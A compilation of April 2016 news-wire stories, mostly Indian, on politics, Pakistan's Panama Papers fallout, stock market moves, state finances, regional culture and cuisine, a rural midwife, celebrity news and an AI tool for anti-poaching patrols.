In 2014, Prime Minister Modi visited Nepal twice - in August for a bilateral visit and in November for the SAARC Summit - during which several bilateral agreements were signed.

India and Nepal have several bilateral institutional dialogue mechanisms, including the India-Nepal Joint Commission co-chaired by External Affairs Minister of India and Foreign Minister of Nepal.
A team of researchers has developed a new model to chart the first minutes after the Big Bang for fundamental insights.

The newly-developed, more accurate computer code simulates conditions during the first few minutes of cosmological evolution to model the role of neutrinos, nuclei and other particles in shaping the early universe.

Anticipating precision cosmological data from the next generation of extremely large telescopes, the BURST code developed by scientists from Los Alamos National Laboratory and University of California San Diego, promises to open up new avenues for investigating existing puzzles of cosmology, according to physicist Mark Paris.

Paris noted that these include the nature and origin of visible matter and the properties of the more mysterious 'dark matter' and 'dark radiation.'

The code allows physicists to exploit the early universe as a laboratory to study the effect of fundamental particles present in the early universe, Paris explains, adding that this work in neutrino cosmology allows the study of the microscopic, quantum nature of fundamental particles - the basic, subatomic building blocks of nature, by simulating the universe at its largest, cosmological scale.

Physicist George Fuller said that their "self-consistent" approach, achieved for the first time by simultaneously describing all the particles involved, increases the precision of our calculations. This allows them to investigate exotic fundamental particles that are currently the subject of intense theoretical speculation.

The new theoretical work is published in Physical Review D.
United States President Barack Obama made a poignant plea to the British electorate saying that as a 'friend and ally' they need to 'stick together' with the rest of the European Union.

According to the Guardian, Obama, who arrived in the UK to celebrate Queen Elizabeth's 90th birthday, used careful diplomatic language to make a direct appeal to the voters.

"As citizens of the United Kingdom take stock of their relationship with the EU, you should be proud that the EU has helped spread British values and practices - democracy, the rule of law, open markets - across the continent and to its periphery," he wrote in an article in the Daily Telegraph.

Evoking the close cooperation between the US and UK during the second war, citing president Franklin D Roosevelt's toast to King George VI in 1939, when he said: "I am persuaded that the greatest single contribution our two countries have been enabled to make to civilisation, and to the welfare of peoples throughout the world, is the example we have jointly set by our manner of conducting relations between our two nations."

He added: "The US sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward-looking, and closely linked to its allies on the other side of the Atlantic. So the US and the need your outsized influence to continue - including within Europe."

UK Prime Minister David Cameron and Obama will also discuss the progress in taking on ISIS in Syria, where British planes have joined the US bombing campaign.
Spiritual guru and Art of Living (AoL) founder Sri Sri Ravi Shankar has said that he is concerned over every issue in India being politicized, and added that this trend is undesirable.

Interacting with media here, Sri Sri Ravi Shankar said, "There are many issues we are facing in this country and all that I would appeal to people is please do not politicise everything. Issues should be taken up on facts. Let us not mix, every day you are seeing incidents of terrorism and all being politicized. What is happening is shocking. So, our people need to know the truth. People of this country have a great sense of patience, resilience and intelligence. They should not be fooled by anybody."

Asked if the Rs.5 crore fine imposed by the Green Tribunal (NGT) on the Art of Living Foundation for allegedly damaging the Yamuna flood plain during the recently held World Cultural Festival was politically motivated, Sri Sri Ravi Shankar said, "It is obvious, whatever issue is raised in Parliament is obvious."

He said that he was visiting various parts of Tripura and other north eastern states to promote total literacy, employment and peace.

He added that there is huge scope for development in the region through skill development initiatives, organic cultivation and Ayurveda.

The 59-year-old spiritual guru said his aim was to unite all cultures, religions, faiths and ideologies.
President Pranab Mukherjee will attend the observation of Khongjom and inaugurate a monument-cum-tourist Centre at Khongjom in Manipur tomorrow.

Khongjom day is observed on the 23rd April every year to pay rich tributes to the brave sons of Manipur who made supreme sacrifice for the cause of their motherland.

Lack of unity and conflicts among the ruling princes and the British interference in the affairs of the state were the key factors of Anglo-Manipur war of 1891.
Festivals bring joy and fun in the monotony of daily life. India is a land of festivals and Sikkim is no exception. The Rai community of Sikkim celebrates 'Sakewa', a rich cultural and religious festival, with full gusto and fervor.

The Khambu Rais or Rais are one of the most ancient indigenous ethnolinguistic groups, mainly settled in Sikkim and Darjeeling Hills. They celebrate Sakewa with great enthusiasm.

It is also known as Bhoomi Puja or Chandi Puja or worship of land.

Rais are basically nature worshippers and they offer prayers to the natural supreme power

"As a youth I really feel privileged to worship nature because our forefathers have been praising and worshipping nature since time immemorial. Following the same rituals is a great thing," said Dews Rai, a local here.

"And since our generation is very much into other things, but keeping all that aside and coming here to celebrate Sakewa makes me feel really privileged," he added.

Sakewa falls on Baisakh purnay (fifteenth day of the fifth month of the Nepali Calender) coinciding with the sowing season.

The Mangma (priest) performs the prayer. One person beats the hongken (drum) loudly. The Mangpa then dances to the single drum beat.

The silis, as the dance is called, consists of 108 characters of different animals and birds. After the performance of the puja, the worshippers partake wachipa which is a dish made of chicken feathers.

Among various Silis, Chasum Sili is very popular. It is performed by depicting the actions of plantation of paddy, harvesting, husking, cooking and finally eating the cooked rice.

The state comes alive during the festival where religious harmony among the people is clearly visible.
Pakistan Prime Minister Nawaz Sharif has declared assets worth Rs. 1.9 billion.

This was known after the Election Commission of Pakistan (ECP) released the details of assets and liabilities of parliamentarians for the fiscal year 2014-15.

The details submitted by Sharif acknowledged that the total assets owned by him were worth Rs. 1.9 billion while the documents showed that his son Hussain Nawaz had sent him Rs. 216 million from abroad, the Express Tribune reports.

The dossier stated that Sharif did not own any property abroad.

He also declared that he owned inherited land in Sheikhupura and Lahore with a total worth of Rs. 1.08 billion.

The Prime Minister also owned cars worth Rs. 160 million in addition to another property in Lahore valued at Rs. 250 million.

Sharif's wife also owned a bungalow in Murree valued at Rs.100 million, besides having inherited and gifted shares worth Rs. 120 million in her name in five sugar, textile and spinning mills.

She also owned birds worth Rs. two million and furniture valued at Rs. 40 million.

Meanwhile, it was revealed that PTI chief Imran Khan had no assets abroad while he declared his Bani Gala residence to be a gift with a total value of Rs. 750 million.

PML-N leader Shahid Khaqan Abbasi owned assets valued at Rs. 1.31 billion.

Jamiat Ulema-e-Islam-Fazl chief Maulana Fazlur Rehman owned assets worth just Rs. 6.8 million.

Opposition Leader in the National Assembly Khurshid Shah had assets worth over Rs. 40 million.

Jamshed Dasti, who has been declared the poorest parliamentarian, had total assets of Rs. 2,653.

The ECP had last week removed the details of assets from its website on the pretext that it was no longer a legal need.

It is mandatory for all parliamentarians to declare assets held by them, their spouses and their dependents under Section 42 (A) of the Representation of Peoples Act of 1976 and Section 25 (A) of the Senate Election Act.
Pakistan Prime Minister Nawaz Sharif will address the nation on Friday evening, his second since the Panama Papers revelations have surfaced, to take the nation into confidence over 'important national issues'.

The Dawn reported that the Prime Minister is expected to announce the setting up of a commission to probe the allegations on his children in the aftermath of the Panama data leaks.

The sources added that Prime Minister Sharif may announce the writing of a letter to the Chief Justice of Pakistan, in which the government will request him to nominate a serving Supreme Court judge to head the commission.

Yesterday, the Prime Minister expressed a desire to 'settle this issue once and for all', according to an aide who attended the meeting, reported Dawn.

Sharif in an effort to calm the storm whipped up by the Panama Papers had announced that a judicial commission would investigate the offshore companies owned by members of his family.

A sombre-sounding Prime Minister said he had taken the decision because "fingers are being pointed at the business concerns of my sons".

According to available documents , the Prime Minister Nawaz Sharif's children Maryam, Hasan and Hussain "were owners or had the right to authorise transactions for several companies".
Luxmi Kitchen, located at Wahengbam Leikai in Imphal, serves the best Manipuri platter. Tourists from across the country throng this restaurant to taste the most popular Manipuri cuisine.

The Manipuri cuisine has so far attracted food lovers from across the country, giving them a taste of local food.

Manipuri or Meitiei food thali includes: Nga atoiba Thongba (fish stew) Nga Matum Thongba (fried fish with light gravy) Ngarengkha Angouba (fish intestine fried with potatoes, peas etc.) as main non-vegetable dishes.

Apart from serving non-veg thali, Luxmi kitchen has also been serving 13 different Manipuri delicacies, including Sana thongba (spicy cottage cheese preparation), Otti thongba, a popular Manipuri green lentil (peas) preparation that's cooked over low flame with various herbs, Pakora Thongba (a delicate Manipuri curry that's prepared in gram flour and much more.

"Per thali costs around Rs. 140 for fish and it also costs Rs. 140 for vegetarian. So, the cost is same. We get a very good feedback. The people say the food is very good and the place is very hygienic," said Robert Wahengbam, Manager, Luxmi Kitchen.

Shilpa, a customer from Bengaluru, said the food at Luxmi Kitchen provides a glimpse of the real culture of Manipur.

"I wanted to understand what Manipuri culture and food is all about. So, I came here. Someone told me that if you want to have perfect Manipuri food and if you want to understand their thali, you must visit this place," Shilpa said.

"Since then whenever I visit this place, at least I make it a point to come once and I try to eat this because this is the real culture and very different food which you don't get in any part of India," she added.

The Manipuris primarily cook vegetables with fish being their complimentary food besides the vegetables. Usage of less oil has been in vogue since the olden times and one visiting the Manipur rural areas is sure to experience this taste of oil-less food.

Ngri is a type of fermented fish, which carries a very strong smell and is loved immensely by the locals. This item is used in a lot of dishes prepared here.

Pooja, another customer from Bengaluru, said the thali at this restaurant is very good.

"We don't find such cuisine in Bengaluru and this is first time I am having Manipuri thali and we had fish curry. Fish is very tasty we finished all the fish," she said.

Another customer Sudhir said the food here is really very good.

"This is the second time I am visiting Luxmi hotel because the food here is really good and this is the unique style Manipuri food. We cannot find such authentic Manipuri thali outside somewhere else," he said.

Herbs and spices form a very important part of Manipuri cuisine. Since they primary have their food boiled, thus it is only these herbs and aroma giving spices that do the wonder of giving the food it required essence.

The ingredients of Manipuri cuisines is mainly chilli and pepper thus making it devoid of any other form of masalas, thus rendering food organic and very healthy. They also do not use oil which is indeed a very positive effect on the body.
A bout of volatility was witnessed as the key benchmark indices once again slipped into negative zone after reversing intraday losses in mid-morning trade. At 11:14 IST, the barometer index, the S&P BSE Sensex, was down 21.22 points or 0.08% at 25,859.16. The Nifty 50 index was currently down 6.25 points or 0.08% at 7,905.80.

The Sensex rose 41.64 points or 0.16% at the day's high of 25,922.02 in mid-morning trade. The barometer index lost 108.50 points or 0.41% at the day's low of 25,771.88 in early trade, its lowest level since 20 April 2016. The Nifty rose 8.60 points or 0.1% at the day's high of 7,920.65 in mid-morning trade. The index lost 38.70 points or 0.48% at the day's low of 7,873.35 in early trade, its lowest level since 18 April 2016.

The market breadth indicating the overall health of the market was positive. On BSE, 1,149 shares gained and 934 shares declined. A total of 139 shares were unchanged. The BSE Mid-Cap index was currently up 0.1%. The BSE Small-Cap index was currently up 0.07%. Both these indices outperformed the Sensex.

In overseas stock markets, Asian markets edged lower following overnight losses for US stocks. US stocks closed lower yesterday, 21 April 2016, as big declines in defensive sectors such as consumer staples, telecom and utilities weighed on the main indexes. In Europe, the European Central Bank (ECB) yesterday, 21 April 2016, left monetary policy unchanged as expected. ECB President Mario Draghi retained a hawkish stance when he said that he would use all the tools at his disposal for "as long as needed".

Auto stocks gained on renewed buying. Tata Motors (up 1.01%), Maruti Suzuki India (up 1.46%), Mahindra & Mahindra (M&M) (up 1.13%), Bajaj Auto (up 2.08%), Hero MotoCorp (up 0.57%) and TVS Motor Company (up 1.05%) rose. Eicher Motors (down 0.31%) and Ashok Leyland (down 0.66%) fell.

TCS slipped 0.16%. TCS today, 22 April 2016, announced winning a long-term contract from full service carrier Vistara. As per the agreement, TCS will provide a broad range of IT services in the area of IT Management, application maintenance and application development to help Vistara achieve its goal in customer experience, operational excellence as well as cost leadership.

Realty stocks witnessed mixed trend. Indiabulls Real Estate (up 1.06%), Godrej Properties (up 1.87%), Housing Development and Infrastructure (up 0.66%), D B Realty (up 0.52%), DLF (up 0.28%), Sobha (up 0.12%) rose. Unitech (down 0.77%) and Oberoi Realty (down 1.74%) fell.

The Reserve Bank of India (RBI) has allowed foreign investment in the units of Real Estate Investment Trusts (REITs), Infrastructure Investment Trusts (InvITs) and Alternative Investment Funds (AIFs). A person resident outside India including a Registered Foreign Portfolio Investor (RFPI) and a Non-Resident Indian (NRI) may invest in units of REITs, InvITs and AIFs, the RBI said in a notification issued yesterday, 21 April 2016.

Crompton Greaves lost 3.17% to Rs 57.95, with the stock sliding on profit booking after recent sharp gains. Shares of Crompton Greaves had rallied 18.04% in the preceding six trading sessions to settle at Rs 59.85 yesterday, 21 April 2016, from its close of Rs 50.70 on 8 April 2016.

Dishman Pharmaceuticals and Chemicals rose 2.98% after the company said that it has fixed 3 May 2016 as the record date for the purpose of 1:1 bonus issue of shares. The announcement was made after market hours yesterday, 21 April 2016.

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Government had issued a notification dated 10th February 2016 regarding rules for withdrawal from EPF Funds by the members. Under the revised rules, the employee was permitted to withdraw the employees' share from the fund (which is 12% of the wages).

However, it was prescribed that the employers' share of contribution towards the Provident Fund (which is 3.67% of wage) would be allowed to be withdrawn only at the age of retirement (58 years). The objective was to provide a minimum social security to the workers at the time of retirement. It was noticed that over 80% of the claims settled by EPFO belonged to pre-mature withdrawal of funds, treating the EPF accounts as savings accounts, and not a Social Security instrument.

In order to address the issues the amendment stated above was carried out with the consent of Trade Unions and with the intention of promoting a decent accumulation of provident fund for the members at the end of their working lifetimes.

However, considering the representations received from various quarters and after consultations with the various stakeholders, Minister of State (IC) Labour and Employment, Sh Bandaru Dattatreya announced that the government has decided to withdraw the said 10th February 2016 Notification with immediate effect.

Accordingly, the workers are now allowed to withdraw the entire amount from the provident fund as per existing provisions of the EPF Scheme 1952 including the employers' share of 3.67%.

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The freeze on bank lending to the Government of Punjab (GoP), has blown over with the Reserve Bank of India (RBI) issuing an authorization of cash credit limit of INR175.23bn, towards the first instalment for the procurement of wheat during the ongoing Rabi season, however the liquidity crunch for GoP lately has become a perennial problem, says India Ratings and Research (Ind-Ra).

Punjab has recently been in the news, as 30 banks led by the State Bank of India decided to freeze lending to the GoP. At the core of this decision was the missing stock of food grains worth INR200bn from godowns in Punjab, which the state claims to have procured after taking loans from these banks. As a result, RBI had asked the banks to make provision for losses on food grain-related loans issued to the GoP.

The financial situation of the GoP, particularly with respect to liquidity has remained quite precarious over the past few years. GoP has been the highest user of RBI's ways and means advances (WMA) to tide over temporary mismatches in the states cash flow. GoP has also been the highest utiliser of the RBI overdraft facility among both special and non-special category states in India. The liquidity situation has become worrisome since FY12.

In FY17 (budget estimate), Punjab proposes to use INR195bn from WMA facility of RBI, up from INR170bn in FY16 (revised estimate) and INR192.68bn in FY15.

It appears that the liquidity problem has been so acute that the state from time to time has even used mortgaged assets namely Gandhi Vanita Ashram for widows in Jalandhar and the state jails at Bathinda, Amritsar and Goindwal to raise cash from banks. The liquidity squeeze has been compounded by rising debt, where the total outstanding liabilities have more than doubled since FY09, and is the second highest (among non-special states) as a percent of gross state domestic product at 31.4% (FY16BE). The government also proposes to take over INR156.32bn debt from the Punjab State Power Corporation Limited under Ujwal Discom Assurance Yojana.

The financial situation in the state of Punjab has deteriorated considerably, believes Ind-Ra. In the last two years the gross fiscal deficit in the state of Punjab rose by 23.0% to INR130.87bn in FY17 (budget estimate) and public debt rose sharply by 32.3%. Although the quality of deficit (deficit incurred to finance current consumption as percentage of total deficit) improved to 61% in FY17 (BE) from 70% in FY15. It deteriorated in FY16, to the revised estimate (61.8%) from the budget estimate (53.8%).

The state of Punjab's inability to generate positive primary balance continues to be a key worry. The level of debt/revenue also remains elevated at 2.75x in FY17 (BE).

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The Japan share market advanced to fresh 11 weeks high on Friday, 22 April 2016, amid mounting speculation that Japan's central bank will take additional monetary easing steps at its policy meeting next week. Most of industry categories on the main section advanced, with banks, brokers, shippers, realty, and steel sectors being major gainers.

The 225-issue Nikkei average gained 208.87 points, or 1.2%, to close at 17572.49. The Topix index of all first-section issues ended up 13.82 points, or 0.99%, at 1407.50. The measure ended the week 3.4% higher.

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Reliance Communications rose 5.46% to Rs 56.95 at 15:18 IST on BSE after the company said that the Department of Telecommunications has approved the proposed spectrum arrangements between the company and Reliance Jio Infocomm.

The announcement was made during trading hours today, 22 April 2016.

Meanwhile, the BSE Sensex was down 46.03 points, or 0.18%, to 25,834.35 .

On BSE, so far 49.01 lakh shares were traded in the counter, compared with an average volume of 19.42 lakh shares in the past one quarter. The stock hit a high of Rs 57.80 and a low of Rs 53.45 so far during the day. The stock hit a 52-week high of Rs 91.80 on 1 January 2016. The stock hit a 52-week low of Rs 45.65 on 25 August 2015. The stock had outperformed the market over the past one month till 21 April 2016, rising 3.55% compared with 2.35% rise in the Sensex. The scrip had, however, underperformed the market in past one quarter, falling 18.43% as against Sensex's 8% rise.

The large-cap company has an equity capital of Rs 1244.49 crore. Face value per share is Rs 5.

Reliance Communications (RCom) said that the Department of Telecommunications (DoT) has taken on record 800 megahertz (MHz) spectrum sharing in 7 circles of RCom and 2 circles of Reliance Telecom (RTL), a wholly-owned subsidiary with Reliance Jio Infocomm (RJIL) on 21 April 2016. The company and RTL are now able to share spectrum with RJIL in 9 circles viz. Mumbai, Uttar Pradesh (E), Madhya Pradesh, Bihar, Orrisa, Haryana, Himachal Pradesh, Assam and North East, RCom said in a statement.

Earlier in January this year, RCom announced entering into strategic partnership with RJIL covering 4G Lte services. RJIL, a telecom arm of Reliance Industries (RIL) and RCom announced the signing of agreements for change in spectrum allotment in 800 MHz band across 9 circles from RCom to RJIL, and for sharing of spectrum in 800 MHz band across 17 circles. Both companies also intend to enter into reciprocal Intra Circle Roaming (ICR) arrangements. The spectrum arrangements between RJIL and RCOM will result in network synergies, enhanced network capacity and will optimise spectrum utilisation and capex efficiencies. Both operators anticipate considerable savings in operating costs and future investment in networks. RCom's customers will benefit from access to RJIL's nationwide 4G LTE network under the reciprocal sharing and ICR agreements.

On consolidated basis, RCom's net profit fell 14.9% to Rs 171 crore on 2.4% drop in net sales to Rs 5232 crore in Q3 December 2015 over Q3 December 2014.

RCom is an integrated telecommunications service provider.

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From 19% to 24%

Tata Communications announced that Smart ICT Services has communicated to the Company that the board of Smart ICT has approved transfer of 5% of its equity share capital held by Centios Co to Tata Communications. Prior to this transfer, Tata Communications was holding 19% of the paid-up equity capital of Smart ICT which has now increased to 24% and consequently Smart ICT has now become an associate of the Company.

Smart ICT has been awarded a contract by the Gujarat International Finance Tec-City to design, finance, establish, install, test, commission and operate and maintain the ICT in GIFT City.

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Tata Steel rose 1.76% to Rs 360.65 at 10:05 IST on BSE on media reports that UK government is ready to take up 25% stake in the company's UK plants in rescue deal.

Meanwhile, the S&P BSE Sensex was down 16.76 points or 0.06% at 25,863.62.

On BSE, so far 4.60 lakh shares were traded in the counter as against average daily volume of 14.30 lakh shares in the past two weeks. The stock hit a high of Rs 363.50 and a low of Rs 358.05 so far during the day. The stock had hit a 52-week high of Rs 384.20 on 6 May 2015. The stock had hit a 52-week low of Rs 200 on 29 September 2015.

The large-cap company has equity capital of Rs 971.22 crore. Face value per share is Rs 10.

According to reports, the UK government said that any deal with regard to Tata Steel's UK plants would be on commercial terms and most likely to be debt financing, though an equity stake is also an option.

Tata Steel Europe said on 20 April 2016 that it welcomes credible expressions of interest for Tata Steel UK's operations. The company issued the clarification after recent media reports suggesting a possible management buyout of Tata Steels' Port Talbot manufacturing facilities in UK. Port Talbot is Tata Steel's biggest UK plant with about 4,000 workers, according to reports.

Tata Steel Europe announced early this week that it has appointed Standard Chartered Bank as an additional adviser for the divestment of its entire holding in its British subsidiary Tata Steel UK. On 11 April 2016, Tata Steel Europe announced that the company has commenced the formal process for the divestment of its entire holding in its British subsidiary Tata Steel UK. Tata Steel Europe has decided to sell its entire holding in Tata Steel UK due to the deteriorating financial performance of the UK subsidiary.

On 18 April 2016, Tata Steel announced changes in leadership at Tata Steel UK. Bimlendra Jha, an Executive Committee member of Tata Steel Europe has been appointed as the Chief Executive Officer of Tata Steel UK. Jha is currently Executive Chairman of Tata Steel Europe's Long Products Europe business and has successfully led the divestment process that resulted in the signing of a sale and purchase agreement with Greybull Capital on 11 April 2016.

On consolidated basis, Tata Steel reported net loss of Rs 2127.23 crore in Q3 December 2015 as against net profit of Rs 157.11 crore in Q3 December 2014. Net sales declined 16.5% to Rs 27818.73 crore in Q3 December 2015 over Q3 December 2014.

Tata Steel is Europe's second largest steel producer, with steelmaking in the UK and Netherlands, and manufacturing plants across Europe. The combined Tata Steel group is one of the world's largest steel producers, with a steel capacity of more than 28 million tonnes and 80,000 employees across five continents.

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In spite of advancing years, health worker Kaushalya, whose name roughly translates into "ability to do something well", is showing the light to women in one of the remotest areas of Chamba district in Himachal Pradesh. She has, in fact, dedicated 31 years to propagating institutional deliveries and providing health services like intrauterine contraceptive device and other contraceptive methods.

Kaushalya, 58, has been posted at the Kalsuin health sub-centre, 17 km from this town, some 450 km from the state capital Shimla, for the past 28 years.

"It's only the self-motivation and my inner spirit that drive me towards someone who's in labour and needs my help. I didn't mind working odd hours and in hostile weather. I love to provide 24-hour maternal healthcare facilities," a beaming Kaushalya told IANS.

In her profession as a female health worker, she has performed over 3,000 deliveries and related procedures -- without even a single case of either maternal or child mortality or foetus abortion.

At times, she also faces, with determination, the sensitive topic of female foeticide and the bias against the female child.

In recognition of her efforts to promote female reproductive health in the area, dominated mainly by the marginal and small farmers, the state government has designated Kalsuin sub-centre in the Churi block as the only "delivery point" in the state.

The five-bedded centre, which has a labour room and a baby-care room, has a provision of one male and one female health worker each.

According to her, in the past one decade she has conducted over 2,500 institutional deliveries and 257 intrauterine contraceptive device insertions at the Kalsuin centre, which caters to 18 villages with a population of around 2,000.

Most of the time she is the lone health worker posted there, despite the provision of a male health worker. There is no provision of a gynecologist or pediatrician.

She has handled many emergency cases as the specialist services are far removed from the Kalsuin centre.

"I can handle both antenatal and postnatal care," said Kaushalya, who is retiring in December.

In 1985, she joined the state health services as a female health worker at Dalli in Chamba district's Bharmour block.

Three years later, she was transferred to Kalsuin. At that time, the health centre was functioning from the panchayat building and lacked proper infrastructure.

It was because of her efforts that the health centre was shifted to a new building equipped with proper facilities.

Kaushalya, who was trained by Hindustan Latex Family Planning Promotion Trust in reproductive and child healthcare, started midwifery in 1995 by facilitating deliveries at homes. Since 2005, she has been performing institutional deliveries at the Kalsuin centre.

Her contribution was recognised by the state government by conferring on her a district-level award in 2010 and a state level in 2011.

Himachal Pradesh is the only state in the country where 89.96 percent of the population as per 2011 census lives in rural areas.

To appreciate the enormity of Kaushalya's contribution, one only needs to read the latest report of the Comptroller and Auditor General of India, which states that Himachal Pradesh has failed to provide 24-hour maternal healthcare facilities at 84 percent of its primary health centres under the National Rural Health Mission (NRHM).

Of the 500 primary health centres, only 81 (16 percent) have been upgraded to provide round-the-clock delivery services but none of these had basic obstetric and nursing facilities like availability of a gynecologist, staff nurses and skilled birth attendants, the report said.

It said that out of the 500 primary health centres, labour rooms and newborn care units were not available in 308 and 493 centres.

During 2010-15, a total of 668,442 pregnant women were registered in the state.

Only 354,022 (53 percent) institutional deliveries were ensured in government institutions against the targeted 467,909 (70 percent), the CAG added.

(Vishal Gulati can be contacted at vishal.g@ians.in)

--IANS

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Police and intelligence agencies have arrested in Karachi on Friday a man wanted in US journalist Daniel Pearl's murder case.

Rizvia Society police said that in a joint action with intelligence agencies, they nabbed Abdul Rehman alias Sindhi from Golimar area of Karachi, Geo TV reported.

Police also recovered a pistol from his possession and shifted him to an undisclosed location for interrogation.

Police claimed Abdul Rehman is affiliated to Al-Qaeda and had held meeting with Osama Bin Laden, Ayman al-Zawahiri and Afghan Taliban chief Mullah Omar.

Abdul Rehman is close aide of Saud Memom, the accused and facilitator in Daniel Pearl murder case.

Saud Memon was a businessman from Karachi. He was said to own the shed where US journalist Daniel Pearl was killed.

Memon was wanted by law-enforcement agencies in the Pearl murder case for supposedly providing the place where Pearl was beheaded and subsequently buried.

Pearl was a journalist for the Wall Street Journal with the US and Israeli citizenship. He was kidnapped by militants and later murdered.

--IANS

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National Award-winning actor Bobby Simhaa and actress Reshmi Menon entered into wedlock in Tirupathi on Friday.

According to a source close to the couple, the wedding was attended by the families of the bride and groom, besides some close friends.

"Besides the families of Bobby and Reshmi, filmmaker Karthik Subbaraj and producer Elred Kumar were present at the wedding," the source told IANS.

The couple, who fell in love on the sets of last year Tamil film "Urumeen", will have their wedding reception here on Sunday.

Bobby made his acting debut with 2012 Tamil film "Kadhalil Sodhappuvadhu Yeppadi", won the National Award for his performance in the critically acclaimed 2014 film "Jigarthanda".

Reshmi has starred in Tamil films such as "Burma", "Maya" and "Kirumi".

--IANS

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Actor Adam Sandler expressed love for his wife Jackie in public as they enjoyed a breakfast date in California. The actor gave his wife a bear hug and a kiss.

Sandler played the doting husband as he cuddled up to Jackie. The pair were spotted following a breakfast date here and could barely keep their hands off each other, reports mirror.co.uk.

They wrapped their arms around each other as they stood in a car park after enjoying a bite to eat.

Sandler was dressed down for his early trip out, wearing a casual white T-shirt and baggy shorts.

Jackie, a former model, stepped out in a pair of skinny jeans, flat shoes and a camisole top.

The pair got married in 2003 after meeting on the set of his film "Big Daddy", in which she played a waitress. They have two daughters.

--IANS

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Even as the government is determined to fall back on the Ishrat Jahan case to corner the Congress in the ensuing parliament session beginning Monday, the "errors" in the Malegaon blast probe too are expected to figure prominently in the discourse, official sources said on Friday.

Two days after top National Investigation Agency (NIA) officials hinted that there was no evidence against Lt. Col. Prasad Purohit in the Samjhauta blast case but the probe was on against him in the Malegaon blast case of 2008, the home ministry on Friday said if there were "anomalies" in the previous investigation "corrective steps" will be taken.

"Since I come from the home ministry myself, it is difficult for me to make any specific comment. But what I can say is that if there were certain anomalies, very clear cut errors, in the process of the inquiry, corrective steps must be taken," Minister of state for Home Kiren Rijiju said here.

The remarks come after a former Anti Terrorist Squad (ATS) chief of Maharashtra, K.P. Raghuvanshi, who was investigating the 2008 Malegaon blasts, told a TV channel in Mumbai on Friday that he stood by the ATS inquiry into the blasts in which some Students Islamic Movement of India (SIMI) activists were chargesheeted by his team.

"I stand by my investigation and at no point of time did I have any doubts about my investigation," Raghuvanshi said, adding that a few of the chargesheeted individuals had gone to Pakistan.

However, the NIA which took over the probe under the previous United Progressive Alliance (UPA) had rejected the then Maharashtra ATS version.

"Both the chargesheets filed by ATS, and the NIA later, are with the court. Let the court decide," Raghuvanshi said.

Rijiju said even the Pakistani links as reported by ATS Maharashtra in their chargesheet would be looked into again.

"If it (Pakistani links) is there, it is very evident there has to be a renewed attempt to rephrase the entire process. Definitely it is what the natural course of action demands," the minister of state for home said.

The government had earlier this week denied putting any pressure on the NIA probing right-wing terror cases, including the Samjhauta Express and Malegaon blasts, to give a clean chit to any of the accused.

"There is no pressure from the government on NIA. All required procedures will be followed in sensitive cases," Rijiju told reporters here on April 20.

The government has been criticising the Congress for coining the word "saffron terror", and said this terminology was given by that party as it was "working with an agenda".

Four people were killed in the Malegaon blasts in 2008. After initial probe by the Maharashtra ATS, the case was later handed over to the NIA.

Defence Minister Manohar Parrikar on Thursday said the ministry will provide documents to Lt. Col. Prasad Shrikant Purohit, that he needs to defend himself in the 2008 Malegaon blasts case.

--IANS

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Former Punjab chief minister Amarinder Singh has lodged a "strong protest" with the Canadian government over the alleged denial of permission for his proposed "interactive meetings" with the Punjabis living in Toronto and Vancouver.

After his political meetings with non-resident Indians in Canada were cancelled, Amarinder shot off an angry letter to Canadian Prime Minister Justin Trudeau to lodge a "strong protest" on the issue.

"It feels like a gag order that has left a very bad taste, more so when issued by a democratic government like the Canadian," said Amarinder, who is also deputy leader of the Congress in the Lok Sabha.

Amarinder Singh embarked on a 20-day visit to the United States and Canada on April 19 to muster political and financial support from Punjabi NRIs. Elections for Punjab's 117-member assembly are scheduled to be held early next year.

The Congress leader is scheduled to undertake a trip to Canada from April 23 to 30. He earlier met Punjabi NRIs in Chicago in the US this week.

Quoting the Canadian Constitution, the Congress leader said he "neither represented any government at the moment, nor was organising any election campaign since there are no elections scheduled in Punjab right now or in the immediate future".

"I have no intention or purpose to establish any political party or movement in Canada," Amarinder said in the letter.

The Congress leader -- a parliament member from Amritsar in Punjab -- had to cancel his political rallies in Canada following objections raised with the Canadian government.

"On the request of the Canadian foreign ministry, Amarinder Singh has cancelled his plans to hold political rallies in Toronto and Vancouver," his spokesman said here.

The spokesman said Amarinder Singh was informed by Foreign Secretary S. Jaishankar that the Canadian rules, under its Global Affairs Policy, prevent foreign governments and individuals from conducting election campaigns in Canada.

"Since his political conference could have violated the rules of the host country, he has decided to cancel them," the spokesman said.

Sikhs for Justice (SFJ), a human rights advocacy group, had lodged a complaint with the Canadian government through a law firm against the election activities planned by Amarinder Singh.

The Global Affairs of Canada (GAC) policy mentions that the Canadian government "will not allow foreign governments to conduct election campaigns in Canada or establish foreign political parties and movements in Canada".

Amarinder said he was not the organiser of any of the proposed programmes but Canadian citizens living there, who are entitled to "fundamental freedoms" in accordance with the Canadian Constitution. He said he was to go to these events only as a guest.

"I had planned to visit Canada to interact with my fellow Punjabis at a personal level to learn about their experiences and seek their opinions. They, being the citizens of Canada, do not have any voting rights in India. There is no point in carrying out election campaign among them, and that too when there are no elections scheduled in Punjab right now or in the immediate future," the Congress leader said.

--IANS

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As the world celebrated Earth Day on Friday, a team led by an Indian-origin researcher has found a way to use artificial intelligence (AI) to protect the Earth's endangered animals and forests by outwitting poachers with technology.

With support from the US National Science Foundation (NSF) and the US Army Research Office, researchers are using AI and game theory to solve poaching, illegal logging and other problems worldwide, in collaboration with researchers and conservationists in the US, Singapore, the Netherlands and Malaysia.

"This research is a step in demonstrating that AI can have a really significant positive impact on society and allow us to assist humanity in solving some of the major challenges we face," said Milind Tambe, professor of computer science and industrial and systems engineering at the University of Southern California (USC).

"In most parks, ranger patrols are poorly planned, reactive rather than pro-active and habitual," said Fei Fang, PhD candidate from the University of Southern California (USC).

Fang is part of an NSF-funded team at USC led by Tambe who is also director of the Teamcore Research Group on Agents and Multiagent Systems.

The team's research idea - a game theory -- uses mathematical and computer models of conflict and cooperation between rational decision-makers to predict the behaviour of adversaries and plan optimal approaches for containment.

"This research is a step in demonstrating that AI can have a really significant positive impact on society and allow us to assist humanity in solving some of the major challenges we face," Tambe noted.

The researchers first created an AI-driven application called PAWS (Protection Assistant for Wildlife Security) in 2013 and tested the application in Uganda and Malaysia in 2014.

PAWS used data on past patrols and evidence of poaching. Now, as PAWS receives more data, the system "learns" and improves its patrol planning. Already, the system has led to more observations of poacher activities per kilometre.

The system can also take into account the natural transit paths that have the most animal traffic - and thus the most poaching -- creating a "street map" for patrols.

The application also randomises patrols to avoid falling into predictable patterns.

